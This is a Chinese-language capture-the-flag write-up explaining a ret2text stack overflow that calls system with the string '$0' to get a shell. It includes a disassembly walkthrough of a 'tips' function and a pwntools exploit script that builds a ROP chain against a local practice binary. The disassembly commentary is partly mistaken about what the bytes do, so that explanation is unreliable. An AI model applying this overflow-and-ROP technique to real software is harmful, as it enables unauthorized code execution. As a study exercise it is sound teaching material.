ret2text（system($0)）

system($0)介绍

在正常的编程或系统使用中，system($0) 本身并不会直接导致获取任何权限。$0 是一个特殊的 shell 变量，它代表当前脚本或程序的名字。在 C 语言中，如果你使用 system() 函数来执行一个 shell 命令，那么传递给 system() 的字符串会被当作 shell 命令来执行。

如果你尝试执行 system($0)，你实际上是在尝试执行一个名为当前脚本或程序名字的 shell 命令。这通常没有特殊的权限提升效果，除非该名字恰好指向了一个具有特殊权限的脚本或程序。

权限的提升通常涉及到利用系统漏洞、执行具有更高权限的程序或脚本、或者通过其他机制（如 sudo）以更高权限用户身份执行命令。

例如，在 Unix 或 Linux 系统中，一个用户可能通过配置 sudoers 文件来允许某些用户或用户组以超级用户（root）权限执行特定的命令。在这种情况下，即使一个普通用户运行了一个脚本，该脚本中的 system() 调用也可能以更高的权限执行命令，但这需要 sudo 的配置和用户的显式同意（通常是输入密码）。

如果你听说 system($0) 能够获取权限，那么这很可能是在某种特定的攻击场景或上下文中提到的。在这种情况下，攻击者可能利用了某些特定的系统配置或漏洞来执行恶意代码，并且 system($0) 只是攻击链中的一环。然而，这并不意味着 system($0) 本身具有获取权限的能力；而是攻击者利用了其他条件来实现这一点。

总之，system($0) 本身并不会导致权限的提升。权限的提升通常涉及到更复杂的机制和条件，需要攻击者具备相应的知识和技能。

例题

我们看道例题

‘

经典nx，栈迁移，本该是很简单的一道题，但是涉及到system($0),就难理解了一点点，仅仅是一点点

废话不多说，距离rbp，0x10，填充0x18覆盖rbp，构造ret，这时候我们发现有system函数，没有/bin/sh，怎么办，可能有小伙伴想ret2libc，当然可以，但是太过麻烦，我们发现有的tips函数还没有看

 我们直接进去西索

我们详细分析这串代码：

这段文本是一个反汇编代码片段，它描述了一个名为 tips 的函数或过程的汇编实现。我会为你逐行解释这段代码：

.text:0000000000400537 public tips

这行标记了一个名为 tips 的公共符号，表示这是一个可以被其他模块或代码引用的函数或过程。

.text:0000000000400537 tips proc near

这行定义了 tips 过程的开始，proc near 表示这是一个近程调用过程（即，它的跳转和调用通常在相同的代码段内）。

.text:0000000000400537 ; __unwind {

这是一个注释，它可能是关于异常处理的元数据或提示，尽管在这段代码中它并不直接影响执行流程。

.text:0000000000400537 55 push rbp

这行代码将当前的基指针寄存器（rbp）的值压入栈中。这通常是为了在函数内部保存原始的栈帧指针。

.text:0000000000400538 48 89 E5 mov rbp, rsp

这行代码将当前的栈指针寄存器（rsp）的值移动到基指针寄存器（rbp）。这是设置新的栈帧的开始/

.text:000000000040053B B8 00 00 00 00 mov eax, 0

这行代码将累加器寄存器（eax）的值设置为0。这通常用于准备返回值或用于其他计算。

.text:0000000000400540 E8 24 30 00 00 call near ptr 403569h

这行代码调用了一个位于地址 403569h 的函数或过程。E8 是调用指令的操作码，而 24 30 00 00 是相对偏移量。

.text:0000000000400545 90 nop

这是一个无操作指令（nop），它什么都不做。它通常用作占位符或用于对齐代码。

.text:0000000000400546 5D pop rbp

这行代码从栈中弹出一个值，并将其放回 rbp 寄存器中。这是函数结束时恢复原始栈帧指针的过程的一部分。

.text:0000000000400547 C3 retn

这行代码是一个返回指令。它将从栈中弹出一个值作为返回地址，并跳转到该地址。这标志着 tips 函数的结束。

	.text:0000000000400547 ; } // starts at 400537
	.text:0000000000400547 tips endp

这些是注释，标记了 tips 过程的结束，并给出了其开始的地址。

总之，这个 tips 函数似乎很简单：它设置了新的栈帧，可能执行了一些操作（尽管在这段代码中看不到），然后调用了一个位于 403569h 的函数，最后恢复了原始的栈帧并返回。

这里可以使用system($0)来获得shell权限。
首先用垃圾数据填充栈，进行栈溢出，然后将数据放入$0放入rdi中，然后跳到system函数执行。

exp

from pwn import *
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./system0')
elf=ELF('./system0')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret=0x0000000000400416
rdi=0x00000000004005e3
tip=0x400541
system=0x400430
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(tip)+p64(system)
p.send(payload)
p.interactive()